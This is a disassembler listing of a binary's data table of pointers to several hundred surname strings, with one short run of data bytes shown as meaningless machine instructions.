		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
		dd offset aDegennaro	; "DeGennaro"
		dd offset aDelapena	; "DeLaPena"
		dd offset aDelEnclos	; "del'Enclos"
		dd offset aDerousse	; "deRousse"
		dd offset aDebroff	; "Debroff"
		dd offset aDees		; "Dees"
		dd offset aDefeciani	; "Defeciani"
		dd offset aDelattre	; "Delattre"
		dd offset aDeleonRendon	; "Deleon-Rendon"
		dd offset aDelger	; "Delger"
		dd offset aDellAcqua	; "Dell'acqua"
		dd offset aDeming	; "Deming"
		dd offset aDempster	; "Dempster"
		dd offset aDemusz	; "Demusz"
		dd offset aDenault	; "Denault"
		dd offset aDenham	; "Denham"
		dd offset aDenison	; "Denison"
		dd offset aDesombre	; "Desombre"
		dd offset aDeutsch	; "Deutsch"
		dd offset aDFini	; "D'fini"
		dd offset aDicks	; "Dicks"
		dd offset aDiefenbach	; "Diefenbach"
		dd offset aDifabio	; "Difabio"
		dd offset aDifronzo	; "Difronzo"
		dd offset aDilworth	; "Dilworth"
		dd offset aDionysius	; "Dionysius"
		dd offset aDirksen	; "Dirksen"
		dd offset aDockery	; "Dockery"
		dd offset aDoherty	; "Doherty"
		dd offset aDonahue	; "Donahue"
		dd offset aDonner	; "Donner"
		dd offset aDoonan	; "Doonan"
		dd offset aDore		; "Dore"
		dd offset aDorf		; "Dorf"
		dd offset aDosi		; "Dosi"
		dd offset aDoty		; "Doty"
		dd offset aDoug		; "Doug"
		dd offset aDowsland	; "Dowsland"
		dd offset aDrinker	; "Drinker"
		dd offset aDSouza	; "D'souza"
		dd offset aDuffin	; "Duffin"
		dd offset aDurrett	; "Durrett"
		dd offset aDussault	; "Dussault"
		dd offset aDwyer	; "Dwyer"
		dd offset aEardley	; "Eardley"
		dd offset aEbeling	; "Ebeling"
		dd offset aEckel	; "Eckel"
		dd offset aEdley	; "Edley"
		dd offset aEdner	; "Edner"
		dd offset aEdward	; "Edward"
		dd offset aEickenhorst	; "Eickenhorst"
		dd offset aEliasson	; "Eliasson"
		dd offset aElmendorf	; "Elmendorf"
		dd offset aElmerick	; "Elmerick"
		dd offset aElvis	; "Elvis"
		dd offset aEncinas	; "Encinas"
		dd offset aEnyeart	; "Enyeart"
		dd offset aEppling	; "Eppling"
		dd offset aErbach	; "Erbach"
		dd offset aErdman	; "Erdman"
		dd offset aErdos	; "Erdos"
		dd offset aErez		; "Erez"
		dd offset aEspinoza	; "Espinoza"
		dd offset aEstes	; "Estes"
		dd offset aEtter	; "Etter"
		dd offset aEuripides	; "Euripides"
		dd offset aEverett	; "Everett"
		dd offset aFabbris	; "Fabbris"
		dd offset aFagan	; "Fagan"
		dd offset aFaioes	; "Faioes"
		dd offset aFalcoAcosta	; "Falco-Acosta"
		dd offset aFalorsi	; "Falorsi"
		dd offset aFaris	; "Faris"
		dd offset aFarone	; "Farone"
		dd offset aFarren	; "Farren"
		dd offset aFasso	; "Fasso'"
		dd offset aFates	; "Fates"
		dd offset aFeigenbaum	; "Feigenbaum"
		dd offset aFejzo	; "Fejzo"
		dd offset aFeldman	; "Feldman"
		dd offset aFernald	; "Fernald"
		dd offset aFernandes	; "Fernandes"
		dd offset aFerrante	; "Ferrante"
		dd offset aFerriell	; "Ferriell"
		dd offset aFeuer	; "Feuer"
		dd offset aFido		; "Fido"
		dd offset aField	; "Field"
		dd offset aFink		; "Fink"
		dd offset aFinkelstein	; "Finkelstein"
		dd offset aFinnegan	; "Finnegan"
		dd offset aFiorina	; "Fiorina"
		dd offset aFisk		; "Fisk"
		dd offset aFitzmaurice	; "Fitzmaurice"
		dd offset aFlier	; "Flier"
		dd offset aFlores	; "Flores"
		dd offset aFolks	; "Folks"
		dd offset aForester	; "Forester"
		dd offset aFortes	; "Fortes"
		dd offset aFortier	; "Fortier"
		dd offset aFossey	; "Fossey"
		dd offset aFossi	; "Fossi"
		dd offset aFrancisco	; "Francisco"
		dd offset aFranklinKenea ; "Franklin-Kenea"
		dd offset aFranz	; "Franz"
		dd offset aFrazierDavis	; "Frazier-Davis"
		dd offset aFreid	; "Freid"
		dd offset aFreundlich	; "Freundlich"
		dd offset aFried	; "Fried"
		dd offset aFriedland	; "Friedland"
		dd offset aFrisken	; "Frisken"
		dd offset aFrowiss	; "Frowiss"
		dd offset aFryberger	; "Fryberger"
		dd offset aFrye		; "Frye"
		dd offset aFujiiAbe	; "Fujii-Abe"
		dd offset aFuller	; "Fuller"
		dd offset aFurth	; "Furth"
		dd offset aFusaro	; "Fusaro"
		dd offset aGabrielli	; "Gabrielli"
		dd offset aGaggiotti	; "Gaggiotti"
		dd offset aGaleotti	; "Galeotti"
		dd offset aGalwey	; "Galwey"
		dd offset aGambini	; "Gambini"
		dd offset aGarfield	; "Garfield"
		dd offset aGarman	; "Garman"
		dd offset aGaronna	; "Garonna"
		dd offset aGeller	; "Geller"
		dd offset aGemberling	; "Gemberling"
		dd offset aGeorgi	; "Georgi"
		dd offset aGerrett	; "Gerrett"
		dd offset aGhorai	; "Ghorai"
		dd offset aGibbens	; "Gibbens"
		dd offset aGibson	; "Gibson"
		dd offset aGilbert	; "Gilbert"
		dd offset aGili		; "Gili"
		dd offset aGill		; "Gill"
		dd offset aGillispie	; "Gillispie"
		dd offset aGist		; "Gist"
		dd offset aGleason	; "Gleason"
		dd offset aGlegg	; "Glegg"
		dd offset aGlendon	; "Glendon"
		dd offset aGoldfarb	; "Goldfarb"
		dd offset aGoncalves	; "Goncalves"
		dd offset aGood		; "Good"
		dd offset aGoodearl	; "Goodearl"
		dd offset aGoody	; "Goody"
		dd offset aGozzi	; "Gozzi"
		dd offset aGravell	; "Gravell"
		dd offset aGreenberg	; "Greenberg"
		dd offset aGreenfeld	; "Greenfeld"
		dd offset aGriffiths	; "Griffiths"
		dd offset aGrigoletto	; "Grigoletto"
		dd offset aGrummell	; "Grummell"
		dd offset aGruner	; "Gruner"
		dd offset aGruppe	; "Gruppe"
		dd offset aGuenthart	; "Guenthart"
		dd offset aGunn		; "Gunn"
		dd offset aGuo		; "Guo"
		dd offset aHa		; "Ha"
		dd offset aHaar		; "Haar"
		dd offset aHackman	; "Hackman"
		dd offset aHackshaw	; "Hackshaw"
		dd offset aHaley	; "Haley"
		dd offset aHalkias	; "Halkias"
		dd offset aHallowell	; "Hallowell"
		dd offset aHalpert	; "Halpert"
		dd offset aHambarzumjan	; "Hambarzumjan"
		dd offset aHamer	; "Hamer"
		dd offset aHammerness	; "Hammerness"
		dd offset aHand		; "Hand"
		dd offset aHanssen	; "Hanssen"
		dd offset aHarding	; "Harding"
		dd offset aHargraves	; "Hargraves"
		dd offset aHarlow	; "Harlow"
		dd offset aHarrigan	; "Harrigan"
		dd offset aHartman	; "Hartman"
		dd offset aHartmann	; "Hartmann"
		dd offset aHartnett	; "Hartnett"
		dd offset aHarwell	; "Harwell"
		dd offset aHaviaras	; "Haviaras"
		dd offset aHawkes	; "Hawkes"
		dd offset aHayes	; "Hayes"
		dd offset aHaynes	; "Haynes"
		dd offset aHazlewood	; "Hazlewood"
		dd offset aHeermans	; "Heermans"
		dd offset aHeft		; "Heft"
		dd offset aHeiland	; "Heiland"
		dd offset aHellman	; "Hellman"
		dd offset aHellmiss	; "Hellmiss"
		dd offset aHelprin	; "Helprin"
		dd offset aHemphill	; "Hemphill"
		dd offset aHenery	; "Henery"
		dd offset aHenrichs	; "Henrichs"
		dd offset aHernandez	; "Hernandez"
		dd offset aHerrera	; "Herrera"
		dd offset aHester	; "Hester"
		dd offset aHeubert	; "Heubert"
		dd offset aHeyeck	; "Heyeck"
		dd offset aHimmelfarb	; "Himmelfarb"
		dd offset aHind		; "Hind"
		dd offset aHirst	; "Hirst"
		dd offset aHitchcock	; "Hitchcock"
		dd offset aHoang	; "Hoang"
		dd offset aHock		; "Hock"
		dd offset aHoffer	; "Hoffer"
		dd offset aHoffman	; "Hoffman"
		dd offset aHokanson	; "Hokanson"
		dd offset aHokoda	; "Hokoda"
		dd offset aHolmes	; "Holmes"
		dd offset aHoloien	; "Holoien"
		dd offset aHolter	; "Holter"
		dd offset aHolway	; "Holway"
		dd offset aHolzman	; "Holzman"
		dd offset aHooker	; "Hooker"
		dd offset aHopkins	; "Hopkins"
		dd offset aHorsley	; "Horsley"
		dd offset aHoshida	; "Hoshida"
		dd offset aHostage	; "Hostage"
		dd offset aHottle	; "Hottle"
		dd offset aHoward	; "Howard"
		dd offset aHoy		; "Hoy"
		dd offset aHuey		; "Huey"
		dd offset aHuidekoper	; "Huidekoper"
		dd offset aHungerford	; "Hungerford"
		dd offset aHuntington	; "Huntington"
		dd offset aHupp		; "Hupp"
		dd offset aHurtubise	; "Hurtubise"
		dd offset aHutchings	; "Hutchings"
		dd offset aHyde		; "Hyde"
		dd offset aIaquinta	; "Iaquinta"
		dd offset aIchikawa	; "Ichikawa"
		dd offset aIgarashi	; "Igarashi"
		dd offset aInamura	; "Inamura"
		dd offset aInniss	; "Inniss"
		dd offset aIsaac	; "Isaac"
		dd offset aIsaievych	; "Isaievych"
		dd offset aIsbill	; "Isbill"
		dd offset aIsserman	; "Isserman"
		dd offset aIyer		; "Iyer"
		dd offset aJacenko	; "Jacenko"
		dd offset aJackson	; "Jackson"
		dd offset aJagers	; "Jagers"
		dd offset aJagger	; "Jagger"
		dd offset aJagoe	; "Jagoe"
		dd offset aJain		; "Jain"
		dd offset aJamil	; "Jamil"
		dd offset aJanjigian	; "Janjigian"
		dd offset aJarnagin	; "Jarnagin"
		dd offset aJarrell	; "Jarrell"
		dd offset aJay		; "Jay"
		dd offset aJeffers	; "Jeffers"
		dd offset aJellis	; "Jellis"
		dd offset aJenkins	; "Jenkins"
		dd offset aJespersen	; "Jespersen"
		dd offset aJewett	; "Jewett"
		dd offset aJohannesson	; "Johannesson"
		dd offset aJohannsen	; "Johannsen"
		dd offset aJohns	; "Johns"
		dd offset aJolly	; "Jolly"
		dd offset aJorgensen	; "Jorgensen"
		dd offset aJucks	; "Jucks"
		dd offset aJuliano	; "Juliano"
		dd offset aJulious	; "Julious"
		dd offset aKabbash	; "Kabbash"
		dd offset aKaboolian	; "Kaboolian"
		dd offset aKafadar	; "Kafadar"
		dd offset aKalbfleisch	; "Kalbfleisch"
		dd offset aKaligian	; "Kaligian"
		dd offset aKalil	; "Kalil"
		dd offset aKalinowski	; "Kalinowski"
		dd offset aKalman	; "Kalman"
		dd offset aKamel	; "Kamel"
		dd offset aKangis	; "Kangis"
		dd offset aKarpouzes	; "Karpouzes"
		dd offset aKassower	; "Kassower"
		dd offset aKasten	; "Kasten"
		dd offset aKawachi	; "Kawachi"
		dd offset aKee		; "Kee"
		dd offset aKeenan	; "Keenan"
		dd offset aKeepper	; "Keepper"
		dd offset aKeith	; "Keith"
		dd offset aKelker	; "Kelker"
		dd offset aKelsey	; "Kelsey"
		dd offset aKempton	; "Kempton"
		dd offset aKemsley	; "Kemsley"
		dd offset aKendall	; "Kendall"
		dd offset aKerry	; "Kerry"
		dd offset aKeul		; "Keul"
		dd offset aKhong	; "Khong"
		dd offset aKimmel	; "Kimmel"
		dd offset aKimmett	; "Kimmett"
		dd offset aKimura	; "Kimura"
		dd offset aKindall	; "Kindall"
		dd offset aKinsley	; "Kinsley"
		dd offset aKippenberger	; "Kippenberger"
		dd offset aKirscht	; "Kirscht"
		dd offset aKittridge	; "Kittridge"
		dd offset aKleckner	; "Kleckner"
		dd offset aKleiman	; "Kleiman"
		dd offset aKleinfelder	; "Kleinfelder"
		dd offset aKlemperer	; "Klemperer"
		dd offset aKling	; "Kling"
		dd offset aKlinkenborg	; "Klinkenborg"
		dd offset aKlint	; "Klint"
		dd offset aKnuff	; "Knuff"
		dd offset aKobrick	; "Kobrick"
		dd offset aKoch		; "Koch"
		dd offset aKohn		; "Kohn"
		dd offset aKoivumaki	; "Koivumaki"
		dd offset aKommer	; "Kommer"
		dd offset aKoniaris	; "Koniaris"
		dd offset aKonrad	; "Konrad"
		dd offset aKool		; "Kool"
		dd offset aKorzybski	; "Korzybski"
		dd offset aKotter	; "Kotter"
		dd offset aKovaks	; "Kovaks"
		dd offset aKraemer	; "Kraemer"
		dd offset aKrailo	; "Krailo"
		dd offset aKrasney	; "Krasney"
		dd offset aKraus	; "Kraus"
		dd offset aKroemer	; "Kroemer"
		dd offset aKrysiak	; "Krysiak"
		dd offset aKuenzli	; "Kuenzli"
		dd offset aKumar	; "Kumar"
		dd offset aKusman	; "Kusman"
		dd offset aKuwabara	; "Kuwabara"
		dd offset aLa		; "La"
		dd offset aLabunka	; "Labunka"
		dd offset aLafler	; "Lafler"
		dd offset aLaing	; "Laing"
		dd offset aLallemant	; "Lallemant"
		dd offset aLandes	; "Landes"
		dd offset aLankes	; "Lankes"
		dd offset aLantieri	; "Lantieri"
		dd offset aLanzit	; "Lanzit"
		dd offset aLaserna	; "Laserna"
		dd offset aLashley	; "Lashley"
		dd offset aLawless	; "Lawless"
		dd offset aLecar	; "Lecar"
		dd offset aLecce	; "Lecce"
		dd offset aLeclercq	; "Leclercq"
		dd offset aLeite	; "Leite"
		dd offset aLenard	; "Lenard"
		dd offset aLEnclos	; "l'Enclos"
		dd offset aLesser	; "Lesser"
		dd offset aLessi	; "Lessi"
		dd offset aLiakos	; "Liakos"
		dd offset aLidano	; "Lidano"
		dd offset aLiem		; "Liem"
		dd offset aLight	; "Light"
		dd offset aLightfoot	; "Lightfoot"
		dd offset aLim		; "Lim"
		dd offset aLinares	; "Linares"
		dd offset aLinda	; "Linda"
		dd offset aLinder	; "Linder"
		dd offset aLine		; "Line"
		dd offset aLinehan	; "Linehan"
		dd offset aLinzee	; "Linzee"
		dd offset aLippmann	; "Lippmann"
		dd offset aLipponen	; "Lipponen"
		dd offset aLittle	; "Little"
		dd offset aLitvak	; "Litvak"
		dd offset aLivernash	; "Livernash"
		dd offset aLivi		; "Livi"
		dd offset aLivolsi	; "Livolsi"
		dd offset aLizardo	; "Lizardo"
		dd offset aLocatelli	; "Locatelli"
		dd offset aLongworth	; "Longworth"
		dd offset aLoss		; "Loss"
		dd offset aLoveman	; "Loveman"
		dd offset aLowenstein	; "Lowenstein"
		dd offset aLoza		; "Loza"
		dd offset aLubin	; "Lubin"
		dd offset aLucas	; "Lucas"
		dd offset aLuciano	; "Luciano"
		dd offset aLuczkow	; "Luczkow"
		dd offset aLuecke	; "Luecke"
		dd offset aLunetta	; "Lunetta"
		dd offset aLuoma	; "Luoma"
		dd offset aLussier	; "Lussier"
		dd offset aLutcavage	; "Lutcavage"
		dd offset aLuzader	; "Luzader"
		dd offset aMa		; "Ma"
; ---------------------------------------------------------------------------


loc_42E3C8:				; CODE XREF: ___:loc_42E3C8j
		js	short loc_42E3C8
		inc	edx
		add	[esi+edi*8+42h], ch
		add	[eax-2], ah
		inc	edx
		add	[esi+edi*8+42h], dl
		add	[eax-2], cl
		inc	edx
		add	[esi+edi*8], bh
		inc	edx
		add	[esi+edi*8], dh
		inc	edx
		add	[esi+edi*8], ch
		inc	edx
		add	[esi+edi*8], ah
		inc	edx
		add	[esi+edi*8], bl
		inc	edx
		add	[esi+edi*8], dl
		inc	edx
		add	[esi+edi*8], al
		inc	edx
		add	ah, bh
		std
		inc	edx
		add	al, dh
		std
		inc	edx
		add	al, ch
		std
		inc	edx
		add	al, ah
		std
		inc	edx
		add	al, bl
		std
		inc	edx
		add	al, dl
		std
		inc	edx
		add	ah, al
		std
		inc	edx
		add	[eax-4FFFBD03h], bh
		std
		inc	edx
		add	[ebp+edi*8-263FFBEh], ah
		inc	edx
		add	[eax-7BFFBD03h], dl
		std
		inc	edx
		add	[ebp+edi*8+42h], bh
		add	[eax-3], dh
		inc	edx
		add	[ebp+edi*8+42h], ah
		add	[ebp+edi*8+42h], bl
		add	[eax-3], dl
		inc	edx
		add	[eax-3], cl
		inc	edx
		add	[eax-3], al
		inc	edx
		add	ds:0FD280042h[edi*8], dh
		inc	edx
		add	[eax], ah
		std
		inc	edx
		add	[eax], bl
		std
		inc	edx
		add	ds:0FD0C0042h[edi*8], dl
		inc	edx
; ---------------------------------------------------------------------------
		db 0
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
